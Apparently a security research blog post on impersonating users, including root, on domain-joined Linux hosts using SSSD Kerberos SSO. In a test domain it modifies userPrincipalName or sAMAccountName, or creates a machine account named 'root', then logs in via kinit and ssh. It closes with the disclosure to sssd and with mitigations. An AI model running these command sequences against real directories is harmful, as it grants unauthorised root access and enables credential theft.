Kerberos
is an authentication protocol developed by MIT to provide secure authentication over an insecure network, the protocol has since seen widespread adoption, particularly in Microsoft Active Directory Domain Services (AD DS), as well as in other systems such as FreeIPA.
Due to the demand for cross-platform authentication and Single Sign-On (SSO) capabilities, Kerberos has become a critical component in modern authentication systems via intermediaries like System Security Services Daemon (SSSD). This, however, has led to a situation where vendors have their own interpretations (and limitations) within the Kerberos protocol, resulting in a fragmented ecosystem.
This post will specifically focus on the attacks associated with a domain-joined Linux system that supports Kerberos SSO. Additionally, the following tool: sssd-spoof has been released alongside this blog post to automate the exploitation of the attacks covered.
In this post, we’ll be using a Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
system, joined to the mercury.local
domain. The primary domain controller (PDC) is a Windows Server 2022 system - c-dc01.mercury.local
, this is also the Kerberos Key Distribution Center (KDC) for the domain.
$ realm list
mercury.local
type: kerberos
realm-name: MERCURY.LOCAL
domain-name: mercury.local
configured: kerberos-member
server-software: active-directory
client-software: sssd
required-package: sssd-tools
required-package: sssd
required-package: libnss-sss
required-package: libpam-sss
required-package: adcli
required-package: samba-common-bin
login-formats: %[email protected]
login-policy: allow-permitted-logins
permitted-logins:
permitted-groups: Domain [email protected]
$ hostname -f
L-MGRT-APP001.mercury.local
This domain was joined using the realm
command, authentication services are handled by SSSD
, and Domain Admins
is the only group permitted to log in to the system.
root@L-MGRT-APP001:/home# cat /etc/sssd/sssd.conf
[sssd]
domains = mercury.local
config_file_version = 2
services = nss, pam
[domain/mercury.local]
default_shell = /bin/bash
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = MERCURY.LOCAL
realmd_tags = manages-system joined-with-adcli
id_provider = ad
fallback_homedir = /home/%u
ad_domain = mercury.local
use_fully_qualified_names = True
ldap_id_mapping = True
access_provider = simple
simple_allow_groups = Domain [email protected]
We can verify that the current configuration works by attempting both password authentication, and Kerberos SSO
as the Administrator
user.
The Administrator
user’s password has been set to T3stP@ssw0rd123
for this example, and the id
command returns the user’s UID, GID, and group memberships.
~$ sshpass -p 'T3stP@ssw0rd123' ssh '[email protected]'@L-MGRT-APP001.mercury.local 'id'
uid=7000500([email protected]) gid=7000513(domain [email protected]) groups=7000513(domain [email protected]),7000512(domain [email protected]),7000518(schema [email protected]),7000519(enterprise [email protected]),7000520(group policy creator [email protected]),7000572(denied rodc password replication [email protected])
Kerberos SSO from Linux requires a valid krb5.conf
file. The following configuration is used for this example:
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = MERCURY.LOCAL
[realms]
MERCURY.LOCAL = {
kdc = c-dc01.mercury.local
admin_server = c-dc01.mercury.local
default_domain = mercury.local
}
[domain_realm]
.mercury.local = MERCURY.LOCAL
mercury.local = MERCURY.LOCAL
We can obtain a TGT
for the Administrator
user, and authenticate to the system using kinit
:
~$ echo 'T3stP@ssw0rd123' | kinit [email protected] -E
Password for Administrator\@[email protected]:
~$ ssh '[email protected]'@L-MGRT-APP001.mercury.local -K id
uid=7000500([email protected]) gid=7000513(domain [email protected]) groups=7000513(domain [email protected]),7000512(domain [email protected]),7000518(schema [email protected]),7000519(enterprise [email protected]),7000520(group policy creator [email protected]),7000572(denied rodc password replication [email protected])
In a DEFCON 31 talk: “A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks” by Ceri Coburn, @EthicalChaos and later, blog post. It was discovered that, given the ability to write to the userPrincipalName
of a user in Active Directory, an attacker can impersonate any user in the domain to authenticate to a Linux system that supports Kerberos SSO.
Consider the following scenario, where the gatari-ad
user has the ability to write to their own userPrincipalName
attribute in Active Directory:
(LDAP)-[C-DC01.mercury.local]-[mercury\gatari-ad]
PV > Get-DomainUser -Identity 'gatari-ad' -Select sAMAccountName,userPrincipalName
sAMAccountName : gatari-ad
userPrincipalName : [email protected]
We can modify our userPrincipalName
to the Administrator
user, do note that this will not work if the [email protected]
UPN is already in use by another user, as the userPrincipalName
must be unique across the domain.
~$ bloodyAD --host 'C-DC01.mercury.local' -u 'gatari-ad' -p 'P@ssw0rd' set object 'gatari-ad' 'userPrincipalName' -v '[email protected]'
[+] gatari-ad's userPrincipalName has been updated
(LDAP)-[C-DC01.mercury.local]-[mercury\gatari-ad]
PV > Get-DomainUser -Identity 'gatari-ad'
cn : gatari
distinguishedName : CN=gatari,CN=Users,DC=mercury,DC=local
name : gatari
objectGUID : {05e6a3b7-d036-4846-bbd1-521dce60468e}
userAccountControl : NORMAL_ACCOUNT [512]
badPwdCount : 0
badPasswordTime : 16/07/2025 10:15:10 (today)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 16/07/2025 10:22:51 (today)
pwdLastSet : 16/07/2025 09:01:02 (today)
primaryGroupID : 513
objectSid : S-1-5-21-1865292683-1165865761-2598954431-1689
sAMAccountName : gatari-ad
sAMAccountType : SAM_USER_OBJECT
userPrincipalName : [email protected]
objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=mercury,DC=local
Contrary to the expectation that this only works under the pretense of Kerberos SSO, based on my testing; this also works with password authentication. We can now authenticate to the Linux system as the Administrator
user using the gatari-ad
credentials.
~$ sshpass -p 'P@ssw0rd' ssh '[email protected]'@L-MGRT-APP001.mercury.local id
uid=7000500([email protected]) gid=7000513(domain [email protected]) groups=7000513(domain [email protected]),7000512(domain [email protected]),7000518(schema [email protected]),7000519(enterprise [email protected]),7000520(group policy creator [email protected]),7000572(denied rodc password replication [email protected])
After authenticating to the system, we can loot the cached TGT at /tmp/krb5cc$(id -u)
:
[email protected]@L-MGRT-APP001:~$ ls -la /tmp/krb5cc_7000500_r9cKSh
-rw------- 1 [email protected] domain [email protected] 1406 Jul 16 18:54 /tmp/krb5cc_7000500_r9cKSh
We’ll find that the TGT belongs to the gatari-ad
user, as expected:
~$ describeTicket.py krb5cc_7000500_r9cKSh
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : 5ba238ac341ddaddbe2f7e4d98d5114f0887263bb5d7926bd42f0c2006a1b8dc
[*] User Name : gatari-ad
[*] User Realm : MERCURY.LOCAL
[*] Service Name : krbtgt/MERCURY.LOCAL
[...snip...]
[*] KeyType : aes256_cts_hmac_sha1_96
[*] Base64(key) : W6I4rDQd2t2+L35NmNURTwiHJju115Jr1C8MIAahuNw=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/MERCURY.LOCAL
[*] Service Realm : MERCURY.LOCAL
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
But, we retain the local privileges of the legitimate [email protected]
user on the system.
[email protected]@L-MGRT-APP001:~$ id
uid=7000500([email protected]) gid=7000513(domain [email protected]) groups=7000513(domain [email protected]),7000512(domain [email protected]),7000518(schema [email protected]),7000519(enterprise [email protected]),7000520(group policy creator [email protected]),7000572(denied rodc password replication [email protected])
Similarly, we can obtain a TGT
for the gatari-ad
user, and authenticate to the system using kinit
:
~$ echo 'P@ssw0rd' | kinit 'Administrator'@MERCURY.LOCAL -E
Password for Administrator\@[email protected]:
~$ ssh '[email protected]'@L-MGRT-APP001.mercury.local -K id
uid=7000500([email protected]) gid=7000513(domain [email protected]) groups=7000513(domain [email protected]),7000512(domain [email protected]),7000518(schema [email protected]),7000519(enterprise [email protected]),7000520(group policy creator [email protected]),7000572(denied rodc password replication [email protected])
In the previous scenario, we were able to impersonate a domain user by modifying the userPrincipalName
attribute in Active Directory. However, this attack can also be extended to local users on the Linux system.
bloodyAD --host 'C-DC01.mercury.local' -u 'gatari-ad' -p 'P@ssw0rd' set object 'gatari-ad' 'userPrincipalName' -v 'root'
[+] gatari-ad's userPrincipalName has been updated
Based on my testing, this only works with Kerberos SSO, and not password authentication. We can now authenticate to the Linux system as the root
user using the gatari-ad
credentials.
~$ echo 'P@ssw0rd' | kinit 'root' -E
Password for [email protected]:
~$ ssh 'root'@L-MGRT-APP001.mercury.local id
uid=0(root) gid=0(root) groups=0(root)
Based on the research by Ceri Coburn, it is clear that the sssd
service interprets incoming authentication in a potentially confusing manner. After further testing, and inspiration by a user named lwo
on the Vulnlab discord, I found that you could also impersonate a user by simply creating a machine account with the sAMAccountName
of any local user.
In your typical Active Directory environment, there is a limit on the number of machine accounts that can be created in a domain, this is controlled by the MachineAccountQuota
setting. By default, this is set to 10
, meaning that any user with sufficient privileges can create up to 10 machine accounts in the domain.
With this setting, we can create a machine account with the sAMAccountName
of root
, and then use this account to authenticate to the Linux system as the root
user.
~$ addcomputer.py 'mercury.local'/'gatari-ad':'P@ssw0rd' -computer-name 'root' -computer-pass 'P@ssw0rd123'
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account root$ with password P@ssw0rd123.
~$ echo 'P@ssw0rd123' | kinit 'root'
~$ ssh 'root'@L-MGRT-APP001.mercury.local -K id
uid=0(root) gid=0(root) groups=0(root)
Similarly, if we have the ability to write to the sAMAccountName
of a user; we can perform the same attack.
~$ bloodyAD --host 'C-DC01.mercury.local' -u 'gatari-ad' -p 'P@ssw0rd' set object 'gatari-ad' 'sAMAccountName' -v 'root'
[+] gatari-ad's sAMAccountName has been updated
~$ echo 'P@ssw0rd' | kinit 'root' -E
Password for [email protected]:
~$ ssh 'root'@L-MGRT-APP001.mercury.local -K id
uid=0(root) gid=0(root) groups=0(root)
An attack has been reported as CVE-2020-25717 in Samba, which documents a similar vector; which has since been patched in Samba 4.13.14 and later.
The easiest example to illustrate this is if an attacker creates an account named root (by renaming a MachineAccountQuota based machine account), and asks for a login without a Kerberos PAC. Between obtaining the ticket and presenting it to a server, the attacker renames the user account to a different name. Samba attempts to look up “DOMAIN\root”, which fails (as this no longer exists) and then falls back to looking up user “root”, which will map to the privileged UNIX uid of 0.
As for the issues discussed in this post, there are no known patches or mitigations available at the time of writing nor does it appear that any are forthcoming.
We have reported this issue to sssd
in #8021, where it has been acknowledged but unlikely to be fixed in the near future; citing the sssd_krb5_localauth_plugin
plugin as a mitigation for this issue.
to avoid this kind of issues SSSD provides a localauth plugin, please see man sssd_krb5_localauth_plugin about how to configure it.
You can monitor for any changes to the userPrincipalName
or sAMAccountName
attributes in Active Directory, as well as ensuring that users are not able to write to these attributes.
If you are using SSSD
, you can also configure the sssd_krb5_localauth_plugin
plugin to prevent this issue. You should also disable Kerberos SSO
on the Linux system if you do not require it.